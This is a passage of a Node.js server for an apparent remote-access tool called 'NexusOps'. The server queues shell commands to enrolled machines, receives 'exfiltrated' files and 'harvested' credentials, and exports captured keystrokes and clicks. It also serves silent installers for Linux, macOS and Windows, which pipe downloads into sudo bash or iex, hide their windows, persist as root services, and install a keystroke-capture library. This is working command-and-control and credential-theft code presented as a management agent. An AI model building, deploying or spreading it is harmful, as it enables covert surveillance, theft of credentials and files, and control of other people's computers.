|
|
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
commandQueues.get(nodeId).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId,
|
|
hostname: nodes.get(nodeId).hostname,
|
|
command: command || `${actionName} (${JSON.stringify(payload)})`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, commandId });
|
|
});
|
|
|
|
// Queue Bulk Command
|
|
app.post('/api/nodes/bulk-command', (req, res) => {
|
|
const { command, actionType, payload } = req.body;
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
|
|
if (onlineNodes.length === 0) {
|
|
return res.status(400).json({ error: 'No online nodes available' });
|
|
}
|
|
|
|
const queuedIds = [];
|
|
onlineNodes.forEach(node => {
|
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(node.id)) {
|
|
commandQueues.set(node.id, []);
|
|
}
|
|
commandQueues.get(node.id).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId: node.id,
|
|
hostname: node.hostname,
|
|
command: `[BULK] ${command || actionName}`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
queuedIds.push(commandId);
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
|
|
});
|
|
|
|
app.delete('/api/nodes/:id', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
nodes.delete(nodeId);
|
|
commandQueues.delete(nodeId);
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Kill Switch — shutdown all agents on all nodes ──
|
|
app.post('/api/nodes/killswitch', (req, res) => {
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
if (onlineNodes.length === 0) {
|
|
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
|
|
}
|
|
onlineNodes.forEach(node => {
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
commandQueues.get(node.id).push({
|
|
id: `kill-${Date.now()}`,
|
|
actionType: 'kill_agent',
|
|
payload: {},
|
|
command: 'kill_agent',
|
|
createdAt: Date.now()
|
|
});
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
|
|
});
|
|
|
|
// ── Export Input Capture as CSV ──
|
|
app.get('/api/inputs/csv', (req, res) => {
|
|
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
|
|
inputDataStore.slice(-500).forEach(e => {
|
|
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
|
|
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// ── Ping node — latency check ──
|
|
app.post('/api/nodes/:id/ping', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
|
const cmdId = `ping-${Date.now()}`;
|
|
commandQueues.get(nodeId).push({
|
|
id: cmdId,
|
|
actionType: 'ping_check',
|
|
payload: { timestamp: Date.now() },
|
|
command: 'ping_check',
|
|
createdAt: Date.now()
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, commandId: cmdId });
|
|
});
|
|
|
|
// ── File Exfiltration — agent sends file back ──
|
|
app.post('/api/agent/file-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
|
|
else entry.output = `[FILE ERROR] ${error}`;
|
|
}
|
|
if (!error && data) {
|
|
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
|
|
exfiltratedFiles.set(fileId, {
|
|
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
|
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
|
});
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Download exfiltrated file ──
|
|
app.get('/api/files/:id', (req, res) => {
|
|
const file = exfiltratedFiles.get(req.params.id);
|
|
if (!file) return res.status(404).json({ error: 'File not found' });
|
|
const buf = Buffer.from(file.data, 'base64');
|
|
res.setHeader('Content-Type', file.mime);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
|
|
res.send(buf);
|
|
});
|
|
|
|
// ── List exfiltrated files ──
|
|
app.get('/api/files', (req, res) => {
|
|
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
|
|
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
|
|
mime: f.mime, size: f.size, timestamp: f.timestamp
|
|
})));
|
|
});
|
|
|
|
// ── Credential Harvest Result ──
|
|
app.post('/api/agent/harvest-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, credentials, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
|
|
}
|
|
if (credentials && Array.isArray(credentials)) {
|
|
credentials.forEach(c => {
|
|
harvestedCredentials.push({
|
|
nodeId, hostname, type: c.type || 'unknown', data: c.data,
|
|
timestamp: Date.now()
|
|
});
|
|
});
|
|
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── List harvested credentials ──
|
|
app.get('/api/credentials', (req, res) => {
|
|
const { nodeId } = req.query;
|
|
let filtered = harvestedCredentials;
|
|
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
|
|
res.json(filtered.slice(-200));
|
|
});
|
|
|
|
app.get('/install.sh', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# Network Node Agent One-Liner Installer for Linux
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Network Node Agent Installer "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
mkdir -p "$INSTALL_DIR"
|
|
|
|
echo "[1/3] Downloading agent script..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[2/4] Configuring systemd background daemon..."
|
|
cat << EOF > "$SERVICE_FILE"
|
|
[Unit]
|
|
Description=NexusOps Node Telemetry & Management Agent
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
|
Restart=always
|
|
RestartSec=5
|
|
User=root
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
EOF
|
|
|
|
echo "[3/4] Installing pynput for keystroke/click capture..."
|
|
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
echo "[4/4] Enabling & Starting Agent Service..."
|
|
systemctl daemon-reload
|
|
systemctl enable network-agent
|
|
systemctl restart network-agent
|
|
|
|
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install.ps1', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `# Network Agent PowerShell Installer for Windows
|
|
$SERVER_URL = "${serverUrl}"
|
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
|
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
|
|
|
|
if (!(Test-Path $INSTALL_DIR)) {
|
|
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
|
|
}
|
|
|
|
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
|
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
|
|
|
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
|
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
|
|
|
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install-mac.sh', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# macOS Node Agent Installer — launchd background daemon
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Node Agent Installer (macOS) "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
echo "[1/4] Creating installation directory..."
|
|
sudo mkdir -p "$INSTALL_DIR"
|
|
sudo chown "$(whoami)" "$INSTALL_DIR"
|
|
|
|
echo "[2/4] Downloading cross-platform Python agent..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[3/4] Installing pynput for input capture..."
|
|
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
echo "[4/4] Configuring launchd background daemon..."
|
|
mkdir -p "$HOME/Library/LaunchAgents"
|
|
cat << EOF > "$PLIST_FILE"
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key>
|
|
<string>com.nexusops.agent</string>
|
|
<key>ProgramArguments</key>
|
|
<array>
|
|
<string>/usr/bin/python3</string>
|
|
<string>-u</string>
|
|
<string>$INSTALL_DIR/agent.py</string>
|
|
<string>--server</string>
|
|
<string>$SERVER_URL</string>
|
|
</array>
|
|
<key>RunAtLoad</key>
|
|
<true/>
|
|
<key>KeepAlive</key>
|
|
<true/>
|
|
<key>StandardOutPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
<key>StandardErrorPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
|
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
|
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
|
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
|
|
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
|
echo " To stop: launchctl unload $PLIST_FILE"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
|
app.get('/install', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const silent = req.query.silent !== '0'; // silent by default
|
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
|
const script = `#!/bin/bash
|
|
# NexusOps Universal Auto-Installer — one command, any OS
|
|
SERVER_URL="${serverUrl}"
|
|
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
|
|
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
|
Linux)
|
|
echo "[*] Linux detected — deploying via systemd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
Darwin)
|
|
echo "[*] macOS detected — deploying via launchd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
|
|
;;
|
|
CYGWIN*|MINGW*|MSYS*|Windows)
|
|
echo "[*] Windows detected — deploying via PowerShell"
|
|
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
|
|
;;
|
|
*)
|
|
echo "[!] Unknown OS — trying Linux installer as fallback"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
esac
|
|
|
|
echo "[*] Agent deployment initiated — it will register within 10 seconds"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/agent.py', (req, res) => {
|
|
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
|
|
});
|
|
|
|
server.listen(PORT, '0.0.0.0', () => {
|
|
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
|
|
console.log(`=======================================================`);
|
|
console.log(`🚀 NexusOps Central Node Control Server is running!`);
|
|
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
|
|
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
|
|
if (PUBLIC_URL) {
|
|
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
|
|
}
|
|
console.log(`=======================================================`);
|
|
});
|